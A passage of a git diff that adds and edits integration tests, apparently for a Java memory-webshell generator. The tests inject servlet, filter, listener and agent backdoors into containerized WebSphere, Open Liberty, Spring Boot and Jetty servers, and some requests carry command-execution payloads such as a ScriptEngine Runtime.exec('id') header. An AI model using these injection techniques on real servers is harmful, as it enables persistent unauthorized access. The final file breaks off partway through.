public static String getUrlFromWebLogic(GenericContainer container) { int port = container.getMappedPort(7001); - String url = "http://127.0.0.1:" + port + "/app"; + String host = container.getHost(); + String url = "http://" + host + ":" + port + "/app"; log.info("container started, app url is : {}", url); return url; } public static String getUrlFromWAS(GenericContainer container) { int port = container.getMappedPort(9080); - String url = "http://127.0.0.1:" + port + "/app"; + String host = container.getHost(); + String url = "http://" + host + ":" + port + "/app"; log.info("container started, app url is : {}", url); return url; } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ProbeAssertion.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ProbeAssertion.java index 15fecc88..fb6f7037 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ProbeAssertion.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ProbeAssertion.java @@ -11,6 +11,9 @@ import lombok.SneakyThrows; import okhttp3.*; +import java.util.ArrayList; +import java.util.List; + import static org.hamcrest.CoreMatchers.anyOf; import static org.hamcrest.CoreMatchers.containsString; import static org.hamcrest.MatcherAssert.assertThat; @@ -44,6 +47,7 @@ public static void responseBytecodeIsOk(String url, String server, int targetJre .build(); Request request = new Request.Builder() .header("Content-Type", "application/x-www-form-urlencoded") + .header("Referer", url) .url(url + "/biginteger").post(requestBody) .build(); try (Response response = new OkHttpClient().newCall(request).execute()) { @@ -73,6 +77,7 @@ public static void responseBytecodeWithoutPrefixIsOk(String url, String server, .build(); Request request = new Request.Builder() .header("Content-Type", "application/x-www-form-urlencoded") + .header("Referer", url) .url(url + "/biginteger").post(requestBody) .build(); try (Response response = new OkHttpClient().newCall(request).execute()) { @@ -102,6 +107,7 @@ public static void responseCommandIsOk(String url, String server, int targetJreV Request request = new Request.Builder() .header("Content-Type", "application/x-www-form-urlencoded") .header(headerName, "id") + .header("Referer", url) .url(url + "/biginteger").post(requestBody) .build(); try (Response response = new OkHttpClient().newCall(request).execute()) { @@ -132,6 +138,7 @@ public static void responseScriptEngineIsOk(String url, String server, int targe .build(); Request request = new Request.Builder() .header("Content-Type", "application/x-www-form-urlencoded") + .header("Referer", url) .header(headerName, "new java.util.Scanner(java.lang.Runtime.getRuntime().exec('id').getInputStream()).useDelimiter('\\A').next()") .url(url + "/biginteger").post(requestBody) .build(); @@ -141,4 +148,41 @@ public static void responseScriptEngineIsOk(String url, String server, int targe )); } } + + public static List getFiltersForContext(String probeData, String contextPath) { + List filters = new ArrayList<>(); + String[] lines = probeData.split("\n"); + boolean inTargetContext = false; + + for (String line : lines) { + line = line.trim(); + + if (line.startsWith("Context:")) { + inTargetContext = line.contains("(" + contextPath + ")"); + } else if (inTargetContext) { + if (line.isEmpty() || line.startsWith("Context:")) { + break; + } + if (line.equals("No filters found")) { + break; + } + if (line.contains(" -> ")) { + filters.add(line); + } + } + } + + return filters; + } + + public static String extractFilterName(String filterLine) { + if (filterLine == null || filterLine.isEmpty()) { + return ""; + } + int arrowIndex = filterLine.indexOf(" ->"); + if (arrowIndex > 0) { + return filterLine.substring(0, arrowIndex).trim(); + } + return filterLine.trim(); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java index 18233e97..adf1b9a7 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java @@ -40,8 +40,7 @@ import static com.reajason.javaweb.memshell.ShellTool.*; import static com.reajason.javaweb.utils.CommonUtil.INJECTOR_CLASS_NAMES; import static com.reajason.javaweb.utils.CommonUtil.getRandomString; -import static org.hamcrest.CoreMatchers.anyOf; -import static org.hamcrest.CoreMatchers.containsString; +import static org.hamcrest.CoreMatchers.*; import static org.hamcrest.MatcherAssert.assertThat; import static org.junit.jupiter.api.Assertions.assertDoesNotThrow; import static org.junit.jupiter.api.Assertions.assertTrue; @@ -53,13 +52,13 @@ @Slf4j public class ShellAssertion { - public static void shellInjectIsOk(String url, String server, String shellType, String shellTool, int targetJdkVersion, Packers packer) { - shellInjectIsOk(url, server, shellType, shellTool, targetJdkVersion, packer, null); + public static MemShellResult shellInjectIsOk(String url, String server, String shellType, String shellTool, int targetJdkVersion, Packers packer) { + return shellInjectIsOk(url, server, shellType, shellTool, targetJdkVersion, packer, null); } @SneakyThrows - public static void shellInjectIsOk(String url, String server, String shellType, String shellTool, int targetJdkVersion, Packers packer, GenericContainer container) { - shellInjectIsOk(url, server, shellType, shellTool, targetJdkVersion, packer, container, null); + public static MemShellResult shellInjectIsOk(String url, String server, String shellType, String shellTool, int targetJdkVersion, Packers packer, GenericContainer container) { + return shellInjectIsOk(url, server, shellType, shellTool, targetJdkVersion, packer, container, null); } @SneakyThrows @@ -85,12 +84,12 @@ public static Pair getUrls(String url, String shellType, String } @SneakyThrows - public static void shellInjectIsOk(String url, String server, String shellType, String shellTool, int targetJdkVersion, Packers packer, GenericContainer appContainer, GenericContainer pythonContainer) { - shellInjectIsOk(url, server, null, shellType, shellTool, targetJdkVersion, packer, appContainer, pythonContainer); + public static MemShellResult shellInjectIsOk(String url, String server, String shellType, String shellTool, int targetJdkVersion, Packers packer, GenericContainer appContainer, GenericContainer pythonContainer) { + return shellInjectIsOk(url, server, null, shellType, shellTool, targetJdkVersion, packer, appContainer, pythonContainer); } @SneakyThrows - public static void shellInjectIsOk(String url, String server, String serverVersion, String shellType, String shellTool, + public static MemShellResult shellInjectIsOk(String url, String server, String serverVersion, String shellType, String shellTool, int targetJdkVersion, Packers packer, GenericContainer appContainer, GenericContainer pythonContainer) { Pair urls = getUrls(url, shellType, shellTool, packer); @@ -104,6 +103,8 @@ public static void shellInjectIsOk(String url, String server, String serverVersi packerResultAndInject(generateResult, url, shellTool, shellType, packer, appContainer); assertShellIsOk(generateResult, shellUrl, shellTool, shellType, appContainer, pythonContainer); + + return generateResult; } @SneakyThrows @@ -492,4 +493,11 @@ public static void testProbeInject(String url, String server, String serverVersi public static void testProbeInject(String url, String server, String shellType, int targetJdkVersion) { testProbeInject(url, server, null, shellType, targetJdkVersion); } + + public static void assertFilterProbeIsRight(String filterInfos) { + assertThat(filterInfos, allOf( + containsString("urlMappingTestFilter -> UrlMappingTestFilter -> URL:[/b64, /test]"), + containsString("servletNameTestFilter -> ServletNameTestFilter -> Servlet:[b64, biginteger]") + )); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot1ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot1ContainerTest.java index e74501d4..fe047fa6 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot1ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot1ContainerTest.java @@ -57,7 +57,7 @@ static Stream casesProvider() { ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER, ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET ); - List testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64); + List testPackers = List.of(Packers.SpEL); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot2ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot2ContainerTest.java index a4987896..84520b86 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot2ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot2ContainerTest.java @@ -94,7 +94,7 @@ static Stream tomcatCasesProvider() { ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE ); - List testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64, Packers.H2JS); + List testPackers = List.of(Packers.H2JS); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot2JettyContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot2JettyContainerTest.java index 31a875bb..a197edc1 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot2JettyContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot2JettyContainerTest.java @@ -87,16 +87,18 @@ static Stream jettyCasesProvider() { List supportedShellTypes = List.of( ShellType.SERVLET, ShellType.FILTER, + ShellType.HANDLER, + ShellType.CUSTOMIZER, // ShellType.LISTENER, ShellType.JETTY_AGENT_HANDLER ); - List testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64); + List testPackers = List.of(Packers.SpEL); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); } @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("jettyCasesProvider") void testJetty(String imageName, String shellType, String shellTool, Packers packer) { - shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_8, packer, container, python); + shellInjectIsOk(getUrl(container), Server.Jetty, "7+", shellType, shellTool, Opcodes.V1_8, packer, container, python); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot2UndertowContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot2UndertowContainerTest.java index 5eabf475..eb11f68d 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot2UndertowContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot2UndertowContainerTest.java @@ -90,7 +90,7 @@ static Stream undertowCasesProvider() { // ShellType.LISTENER, ShellType.UNDERTOW_AGENT_SERVLET_HANDLER ); - List testPackers = List.of(Packers.ScriptEngine, Packers.SpEL); + List testPackers = List.of(Packers.SpEL); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot2WarContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot2WarContainerTest.java index 4e20cc75..23330a43 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot2WarContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot2WarContainerTest.java @@ -81,7 +81,7 @@ static Stream tomcatCasesProvider() { ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE ); - List testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64); + List testPackers = List.of(Packers.SpEL); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot3ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot3ContainerTest.java index 9e16b0b6..cf2b2fe9 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot3ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot3ContainerTest.java @@ -58,7 +58,7 @@ static Stream casesProvider() { ShellType.SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET ); - List testPackers = List.of(Packers.Base64, Packers.H2); + List testPackers = List.of(Packers.H2); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword)); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/OpenLiberty18ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/OpenLiberty18ContainerTest.java new file mode 100644 index 00000000..007271a3 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/OpenLiberty18ContainerTest.java @@ -0,0 +1,97 @@ +package com.reajason.javaweb.integration.memshell.websphere; + +import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; +import com.reajason.javaweb.integration.TestCasesProvider; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; +import org.testcontainers.containers.BindMode; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.Network; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.images.builder.ImageFromDockerfile; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.time.Duration; +import java.util.List; +import java.util.stream.Stream; + +import static com.reajason.javaweb.integration.ContainerTool.*; +import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.MatcherAssert.assertThat; + +/** + * @author ReaJason + * @since 2024/12/21 + */ +@Testcontainers +@Slf4j +public class OpenLiberty18ContainerTest { + public static final String imageName = "open-liberty:18.0.0.4-webProfile8"; + static Network network = Network.newNetwork(); + @Container + public final static GenericContainer python = new GenericContainer<>(new ImageFromDockerfile() + .withDockerfile(neoGeorgDockerfile)) + .withNetwork(network); + @Container + public final static GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warFile, "/config/dropins/app.war") + .withCopyToContainer(jattachFile, "/jattach") + .withCopyToContainer(webspherePid, "/fetch_pid.sh") + .withNetwork(network) + .withNetworkAliases("app") + .waitingFor(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5))) + .withExposedPorts(9080) + .withPrivilegedMode(true); + + static Stream casesProvider() { + String server = Server.WebSphere; + List supportedShellTypes = List.of( + ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER, + ShellType.WAS_AGENT_FILTER_MANAGER + ); + List testPackers = List.of(Packers.JSP); + return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); + } + + @AfterAll + static void tearDown() { + String logs = container.getLogs(); + log.info(logs); + assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } + + @ParameterizedTest(name = "{0}|{1}{2}|{3}") + @MethodSource("casesProvider") + void test(String imageName, String shellType, String shellTool, Packers packer) { + shellInjectIsOk(getUrl(container), Server.WebSphere, shellType, shellTool, Opcodes.V1_6, packer, container, python); + } + + public static String getUrl(GenericContainer container) { + String host = container.getHost(); + int port = container.getMappedPort(9080); + String url = "http://" + host + ":" + port + "/app"; + log.info("container started, app url is : {}", url); + return url; + } + + @ParameterizedTest + @ValueSource(strings = {ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER,}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.WebSphere, shellType, Opcodes.V1_6); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/OpenLiberty20ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/OpenLiberty20ContainerTest.java new file mode 100644 index 00000000..6fde0402 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/OpenLiberty20ContainerTest.java @@ -0,0 +1,97 @@ +package com.reajason.javaweb.integration.memshell.websphere; + +import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; +import com.reajason.javaweb.integration.TestCasesProvider; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; +import org.testcontainers.containers.BindMode; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.Network; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.images.builder.ImageFromDockerfile; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.time.Duration; +import java.util.List; +import java.util.stream.Stream; + +import static com.reajason.javaweb.integration.ContainerTool.*; +import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.MatcherAssert.assertThat; + +/** + * @author ReaJason + * @since 2024/12/21 + */ +@Testcontainers +@Slf4j +public class OpenLiberty20ContainerTest { + public static final String imageName = "open-liberty:20.0.0.12-full-java8-openj9"; + static Network network = Network.newNetwork(); + @Container + public final static GenericContainer python = new GenericContainer<>(new ImageFromDockerfile() + .withDockerfile(neoGeorgDockerfile)) + .withNetwork(network); + @Container + public final static GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warFile, "/config/dropins/app.war") + .withCopyToContainer(jattachFile, "/jattach") + .withCopyToContainer(webspherePid, "/fetch_pid.sh") + .withNetwork(network) + .withNetworkAliases("app") + .waitingFor(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5))) + .withExposedPorts(9080) + .withPrivilegedMode(true); + + static Stream casesProvider() { + String server = Server.WebSphere; + List supportedShellTypes = List.of( + ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER, + ShellType.WAS_AGENT_FILTER_MANAGER + ); + List testPackers = List.of(Packers.JSP); + return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); + } + + @AfterAll + static void tearDown() { + String logs = container.getLogs(); + log.info(logs); + assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } + + @ParameterizedTest(name = "{0}|{1}{2}|{3}") + @MethodSource("casesProvider") + void test(String imageName, String shellType, String shellTool, Packers packer) { + shellInjectIsOk(getUrl(container), Server.WebSphere, shellType, shellTool, Opcodes.V1_6, packer, container, python); + } + + public static String getUrl(GenericContainer container) { + String host = container.getHost(); + int port = container.getMappedPort(9080); + String url = "http://" + host + ":" + port + "/app"; + log.info("container started, app url is : {}", url); + return url; + } + + @ParameterizedTest + @ValueSource(strings = {ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER,}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.WebSphere, shellType, Opcodes.V1_6); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/OpenLiberty22ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/OpenLiberty22ContainerTest.java new file mode 100644 index 00000000..46c047bb --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/OpenLiberty22ContainerTest.java @@ -0,0 +1,97 @@ +package com.reajason.javaweb.integration.memshell.websphere; + +import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; +import com.reajason.javaweb.integration.TestCasesProvider; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; +import org.testcontainers.containers.BindMode; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.Network; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.images.builder.ImageFromDockerfile; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.time.Duration; +import java.util.List; +import java.util.stream.Stream; + +import static com.reajason.javaweb.integration.ContainerTool.*; +import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.MatcherAssert.assertThat; + +/** + * @author ReaJason + * @since 2024/12/21 + */ +@Testcontainers +@Slf4j +public class OpenLiberty22ContainerTest { + public static final String imageName = "open-liberty:22.0.0.12-full-java11-openj9"; + static Network network = Network.newNetwork(); + @Container + public final static GenericContainer python = new GenericContainer<>(new ImageFromDockerfile() + .withDockerfile(neoGeorgDockerfile)) + .withNetwork(network); + @Container + public final static GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warFile, "/config/dropins/app.war") + .withCopyToContainer(jattachFile, "/jattach") + .withCopyToContainer(webspherePid, "/fetch_pid.sh") + .withNetwork(network) + .withNetworkAliases("app") + .waitingFor(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5))) + .withExposedPorts(9080) + .withPrivilegedMode(true); + + static Stream casesProvider() { + String server = Server.WebSphere; + List supportedShellTypes = List.of( + ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER, + ShellType.WAS_AGENT_FILTER_MANAGER + ); + List testPackers = List.of(Packers.JSP); + return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); + } + + @AfterAll + static void tearDown() { + String logs = container.getLogs(); + log.info(logs); + assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } + + @ParameterizedTest(name = "{0}|{1}{2}|{3}") + @MethodSource("casesProvider") + void test(String imageName, String shellType, String shellTool, Packers packer) { + shellInjectIsOk(getUrl(container), Server.WebSphere, shellType, shellTool, Opcodes.V11, packer, container, python); + } + + public static String getUrl(GenericContainer container) { + String host = container.getHost(); + int port = container.getMappedPort(9080); + String url = "http://" + host + ":" + port + "/app"; + log.info("container started, app url is : {}", url); + return url; + } + + @ParameterizedTest + @ValueSource(strings = {ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER,}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.WebSphere, shellType, Opcodes.V11); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/OpenLiberty25ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/OpenLiberty25ContainerTest.java new file mode 100644 index 00000000..2bf40204 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/OpenLiberty25ContainerTest.java @@ -0,0 +1,97 @@ +package com.reajason.javaweb.integration.memshell.websphere; + +import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; +import com.reajason.javaweb.integration.TestCasesProvider; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; +import org.testcontainers.containers.BindMode; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.Network; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.images.builder.ImageFromDockerfile; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.time.Duration; +import java.util.List; +import java.util.stream.Stream; + +import static com.reajason.javaweb.integration.ContainerTool.*; +import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.MatcherAssert.assertThat; + +/** + * @author ReaJason + * @since 2024/12/21 + */ +@Testcontainers +@Slf4j +public class OpenLiberty25ContainerTest { + public static final String imageName = "open-liberty:25.0.0.12-full-java17-openj9"; + static Network network = Network.newNetwork(); + @Container + public final static GenericContainer python = new GenericContainer<>(new ImageFromDockerfile() + .withDockerfile(neoGeorgDockerfile)) + .withNetwork(network); + @Container + public final static GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warFile, "/config/dropins/app.war") + .withCopyToContainer(jattachFile, "/jattach") + .withCopyToContainer(webspherePid, "/fetch_pid.sh") + .withNetwork(network) + .withNetworkAliases("app") + .waitingFor(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5))) + .withExposedPorts(9080) + .withPrivilegedMode(true); + + static Stream casesProvider() { + String server = Server.WebSphere; + List supportedShellTypes = List.of( + ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER, + ShellType.WAS_AGENT_FILTER_MANAGER + ); + List testPackers = List.of(Packers.JSP); + return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); + } + + @AfterAll + static void tearDown() { + String logs = container.getLogs(); + log.info(logs); + assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } + + @ParameterizedTest(name = "{0}|{1}{2}|{3}") + @MethodSource("casesProvider") + void test(String imageName, String shellType, String shellTool, Packers packer) { + shellInjectIsOk(getUrl(container), Server.WebSphere, shellType, shellTool, Opcodes.V17, packer, container, python); + } + + public static String getUrl(GenericContainer container) { + String host = container.getHost(); + int port = container.getMappedPort(9080); + String url = "http://" + host + ":" + port + "/app"; + log.info("container started, app url is : {}", url); + return url; + } + + @ParameterizedTest + @ValueSource(strings = {ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER,}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.WebSphere, shellType, Opcodes.V17); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/WebSphere855ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/WebSphere855ContainerTest.java index 499c54f0..c6477504 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/WebSphere855ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/WebSphere855ContainerTest.java @@ -44,7 +44,7 @@ public class WebSphere855ContainerTest { .withNetwork(network); @Container public final static GenericContainer container = new GenericContainer<>(imageName) - .withFileSystemBind(warFile.getFilesystemPath(), "/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/monitoredDeployableApps/servers/server1/app.war", BindMode.READ_WRITE) + .withCopyToContainer(warFile, "/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/monitoredDeployableApps/servers/server1/app.war") .withCopyToContainer(jattachFile, "/jattach") .withCopyToContainer(webspherePid, "/fetch_pid.sh") .withNetwork(network) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/WebSphere905ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/WebSphere905ContainerTest.java index fab38b41..4c3c7340 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/WebSphere905ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/WebSphere905ContainerTest.java @@ -44,7 +44,7 @@ public class WebSphere905ContainerTest { .withNetwork(network); @Container public final static GenericContainer container = new GenericContainer<>(imageName) - .withFileSystemBind(warFile.getFilesystemPath(), "/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/monitoredDeployableApps/servers/server1/app.war", BindMode.READ_WRITE) + .withCopyToContainer(warFile, "/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/monitoredDeployableApps/servers/server1/app.war") .withCopyToContainer(jattachFile, "/jattach") .withCopyToContainer(webspherePid, "/fetch_pid.sh") .withNetwork(network) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere7/WebSphere700ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere7/WebSphere700ContainerTest.java index 4485832c..5ebb2830 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere7/WebSphere700ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere7/WebSphere700ContainerTest.java @@ -42,7 +42,7 @@ public class WebSphere700ContainerTest { .withNetwork(network); @Container public final static GenericContainer container = new GenericContainer<>(imageName) - .withFileSystemBind(warFile.getFilesystemPath(), "/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/monitoredDeployableApps/servers/server1/app.war", BindMode.READ_WRITE) + .withCopyToContainer(warFile, "/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/monitoredDeployableApps/servers/server1/app.war") .withCopyToContainer(jattachFile, "/jattach") .withCopyToContainer(webspherePid, "/fetch_pid.sh") .withNetwork(network) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly26ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly26ContainerTest.java new file mode 100644 index 00000000..699bf15d --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly26ContainerTest.java @@ -0,0 +1,85 @@ +package com.reajason.javaweb.integration.memshell.wildfly; + +import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; +import com.reajason.javaweb.integration.TestCasesProvider; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.AfterAll; +import 